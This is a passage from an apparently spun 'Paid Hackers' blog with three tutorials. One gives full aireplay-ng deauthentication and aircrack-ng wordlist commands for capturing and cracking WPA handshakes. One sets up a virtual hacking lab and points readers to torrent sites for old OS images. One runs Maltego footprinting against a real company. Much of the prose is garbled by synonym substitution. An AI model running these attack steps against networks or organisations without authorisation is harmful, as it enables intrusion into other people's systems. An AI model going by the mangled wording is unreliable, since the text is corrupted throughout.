-a indicates the access point (router)’s bssid, replace [router bssid] with the BSSID of the target network, which in my case, is 00:14:BF:E0:E8:D5.
-c indicates the clients BSSID, noted in the previous picture. Replace the [client bssid] with the BSSID of the connected client, this will be listed under “STATION.”
And of course, mon0 merely means the monitor interface, change it if yours is different.
My complete command looks like this:
aireplay-ng –0 2 –a 00:14:BF:E0:E8:D5 –c 4C:EB:42:59:DE:31 mon0

airplay ng full command to hack wifi using kali linux

Step 10:

Upon hitting Enter, you’ll see aireplay-ng send the packets, and within moments, you should see this message appear on the airodump-ng screen!

wpa handshake to hack a wifi using kali linux
wpa handshack from a user  to hack a wifi using kali linux

This means that the handshake has been captured, the password is in the hacker’s hands, in some form or another. You can close the aireplay-ng terminal and hit Ctrl + C on the airodump-ng terminal to stop monitoring the network, but don’t close it yet just incase you need some of the information later.

Step 11:

This concludes the external part of this tutorial. From now on, the process is entirely between your computer, and those four files on your Desktop. Actually, the .cap one, that is important. Open a new Terminal, and type in this command: 

aircrack-ng -a2 -b [router bssid] -w [path to wordlist] /root/Desktop/*.cap

-a is the method aircrack will use to crack the handshake, 2=WPA method.
-b stands for bssid, replace [router bssid] with the BSSID of the target router, mine is 00:14:BF:E0:E8:D5.
-w stands for wordlist, replace [path to wordlist] with the path to a wordlist that you have downloaded. I have a wordlist called “wpa.txt” in the root folder.
/root/Desktop/*.cap is the path to the .cap file containing the password, the * means wild card in Linux, and since I’m assuming that there are no other .cap files on your Desktop, this should work fine the way it is.
My complete command looks like this:
aircrack-ng –a2 –b 00:14:BF:E0:E8:D5 –w /root/wpa.txt  /root/Desktop/*.cap

cracking password to hack a wifi using kali linux

Now press Enter.

Step 12:

Aircrack-ng will now launch into the procedure of cracking the password. Notwithstanding, it will just hack it if the password happens to be in the wordlist that you've chosen. Infrequently, its most certainly not. In the event that this is the situation, then you can praise the proprietor on being "Impervious," obviously, strictly when you've attempted each wordlist that a hackerr may utilize or make! 

hacking the password may take quite a while relying upon the extent of the wordlist. Our went rapidly.


If the phrase is in the wordlist, then aircrack-ng will show it too you like this:

hacked wifi password using kali linux

The passphrase to our test-network was “notsecure,” and you can see here that aircrack found it.

If you find the password without a decent struggle, then change your password, if it’s your network. If you’re penetration testing for someone, then tell them to change their password as soon as possible.
                                                   Sincerely Paid hackers
Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng (noob friendly) - By Paid Hackers Hack WPA/WPA2 Wi-Fi With Kali Linux & Aircrack-ng (noob friendly) - By Paid Hackers Reviewed by amit on 15:19 Rating: 5

How to Create a Virtual Hacking Lab - By Paid Hackers

01:08
In numerous orders, in the event that you don't hone, you succumb to disappointment. In our control, in the event that you don't hone and come up short, you may be serving years in a correctional facility. This makes practice and a devoted practice lab a considerably more convincing contention than with different orders.

A large portion of you have been experiencing issues setting up your hacking surroundings to practice your hacks. In this excercise, we will reveal to you the most straightforward and speediest approach to set up a lab to practice your hacks before taking them out into this present reality where any slip-ups could be wrecking!

Step 1: Download VMware Workstation or Player 

The most ideal approach to work on hacking is inside a virtual domain. Basically, you set up a hacking framework, for example, Kali Linux, and a few victimized people to endeavor. Preferably, you would need various working frameworks (Windows XP, Vista, 7, and 8, and a Linux flavor) and applications so you can go for a mixed bag of hacks.

Virtual machines and a virtual system are the best and most secure approach to set up a hacking lab. There are a few virtualization frameworks out there, including Citrix, Oracle's VirtualBox, KVM, Microsoft's Virtual PC and Hyper-V, and VMware's Workstation, VMware Player and ESXi. For a research facility environment, I emphatically suggest VMware's Workstation or Player. Workstation is business item that expenses under $200, while Player is free. You can likewise get a free 30-day trial of Workstation.

Player is restricted to simply playing VMs , while Workstation can both make and play VMs. How about we download VMware's Workstation or Player here.

Step 2: Download Kali VMware Images 

When you have downloaded and introduced your virtualization framework, our next step is to download the VMware pictures of Kali gave by Offensive Security. With these pictures, you won't need to make the virtual machine, however essentially run it from Workstation or Player—Offensive Security has officially made this picture for you. This implies that once you have downloaded the VM of Kali, you can then utilize it in either Workstation or Player.

Step 3: Unzip Images 

When you have finished the download, you will need to unfasten the records. There are various zip utilities accessible with the expectation of complimentary including 7-Zip, WinZip, WinArchiver, and so on. Download and introduce one and unfasten the records. In the screenshot underneath, I have downloaded the free trial of WinZip and have utilized it to unfasten the Kali documents.

Step 4: Open VMware Image 

When all the documents have been unfastened, our next step is to open this new virtual machine. Make note of the area where you have unfastened the virtual machine picture. At that point, go to either VMware Workstation or Player and go to File -> Open like in the screenshot beneath.

This will open a window like that in the screenshot underneath. You can see that my Kali picture was put away under reports, so I peruse there and double tap on the organizer.

When I do as such, it uncovers the VMware virtual machine record that I will stack into VMware. Note that I am utilizing the "amd64" rendition, which is just the 64-bit form, yet the 32-bit adaptation will work, also, though somewhat slower.

When you do as such, VMware will begin your virtual machine and welcome you with a screen like underneath.

Tap on the green catch in the upper left beneath "Kali-Linux-1.0.9-vm-amd64" that says "Power on this virtual machine." You ought to be welcomed by the now commonplace Kali screen like underneath.

Basically utilize the client "root" and secret word "toor" to begin hacking!

Step 5: Download & Install Targets 

For the following step, you have to download and introduce a target framework. Obviously, you could utilize your own host Windows 7 or 8 framework, yet since this is practice, you may need to utilize a more established, simpler to hack framework. Likewise, hacking your own particular framework can abandon it unsteady and harmed.

I suggest introducing a Windows XP, Vista, Server 2003, or a more established variant of Linux. These frameworks have numerous known security imperfections that you can hone on and, then when you get to be more capable at hacking, you can then move up to Windows 7 and 8 and fresher adaptations of Linux.

In the event that you or your companions don't have a duplicate of these more established working frameworks, you can buy them economically numerous spots on the Internet. Case in point, finally check there are various duplicates accessible on eBay for as low as $9.95.

Obviously, you can likewise acquire these working frameworks for nothing on a hefty portion of the downpour locales, yet BEWARE... you will probably be downloading more than simply the working frameworks. Frequently, these free downloads incorporate rootkits that will install in your framework when you open the document.

Likewise, more seasoned variants of Linux are accessible from the merchant or by means of deluge locales, too.

Step 6: Download Old Applications 

When you have your working framework set up, frequently you will require applications to run on these more established forms of the Windows and Linux working frameworks. You will probably require a program, Office, Adobe items, and so on. These more established items have no doubt understood security imperfections that you can sharpen your aptitudes on.

I like the website Old Apps to download a large number of these. Obviously, by and by, you can get these from large portions of the deluge destinations with the same proviso as above of you may get more than you anticipate
                                               Sincerely Paid hackers
How to Create a Virtual Hacking Lab - By Paid Hackers How to Create a Virtual Hacking Lab - By Paid Hackers Reviewed by amit on 01:08 Rating: 5

How to Use Maltego to Do Network Reconnaissance - By Paid Hackers

00:37
Maltego to do network reconnaissance by paid hackers

Before we endeavor to adventure any target, it is savvy to do fitting observation. Without doing observation, you will probably be squandering your time and vitality and in addition taking a chance with your flexibility. In past aides, I have shown different approaches to perform surveillance incorporating uninvolved recon with Netcraft, dynamic recon with Nmap or hping3, recon by abusing DNS or SNMP, and numerous others.

In this excercise, we will be utilizing a dynamic device called Maltego, grew by Paterva, that can do a considerable lot of these assignments with one straightforward output. There is a group version incorporated with our Kali Linux that permits us 12 sweeps without buying Maltego. It is equipped for a lot of data assembling about a planned focus in a solitary compass of the space.

Utilizing Maltego as a part of Kali to Recon a Target Network

Maltego is fit for social occasion data about either a system or a person; here we will concentrate on the previous and leave singular data gathering for some other time. We will be taking a gander at social affair information on all the subdomains, the IP location run, the WHOIS data, the majority of the email addresses, and the relationship between the target space and others.

Step 1: Open Maltego & Register 

We should begin by starting up Kali and after that opening Maltego. Maltego can be found in various places in Kali, yet the simplest approach to get to it is to go to Applications -> Kali Linux -> Top 10 Security Tools. At that point, among the Top 10, you will discover Maltego at number 5, as indicated in the screenshot underneath.

When you open Maltego, you will need to sit tight a brief minute for it to startup. After it gets done with stacking, you will be welcomed by a screen requesting that you enlist Maltego.

register maltego

Feel free to enroll and spare and recollect your secret word as you will require it again whenever you login into Maltego.

Step 2: Choose a Machine & Parameters 

After effectively enlisting and logging into Maltego, we will need to choose what sort of "machine" we need to run against our target. In Maltego's speech, a machine is just what kind of footprinting we need to do against our target. Here, we are concentrating on the system footprinting, so our decisions are:

Organization Stalker (this accumulates email data)

  • footprint L1 (essential data gathering) 

  • footprint L2 (moderate measure of data social occasion) 

  • footprint L3 (extreme and the most finish data gathering) 


How about we pick a L3 footprint that will assemble as much data as we can; this is likewise the most time intensive choice, so be informed regarding that.

Step 3: Choose a Target 

Presently, that we have picked a sort of machine for our footprinting, we will need to pick a target. We should pick our companions at SANS, one of the main IT security preparing and counseling firms on the planet.

Presently, click on finish and let Maltego do its work.

Step 4: Results

Maltego will now start to accumulate information on our target space, sans.org, and show it on screen. In the screenshot underneath, we can see that Maltego has effectively gathered the email addresses from the site, while it gathers the nameservers and mail servers.

At long last, we can tap on "Air pocket View" when Maltego is done and see the majority of the connections between our target and its subdomains and connected locales.

Maltego is a fabulous device to do system recon on our potential target, empowering us to do various sorts of recon in a solitary sweep with a solitary apparatus. Maltego is likewise equipped for doing individual recon.




                                                            Sincerely Paid hackers
How to Use Maltego to Do Network Reconnaissance - By Paid Hackers How to Use Maltego to Do Network Reconnaissance - By Paid Hackers Reviewed by amit on 00:37 Rating: 5
Powered by Blogger.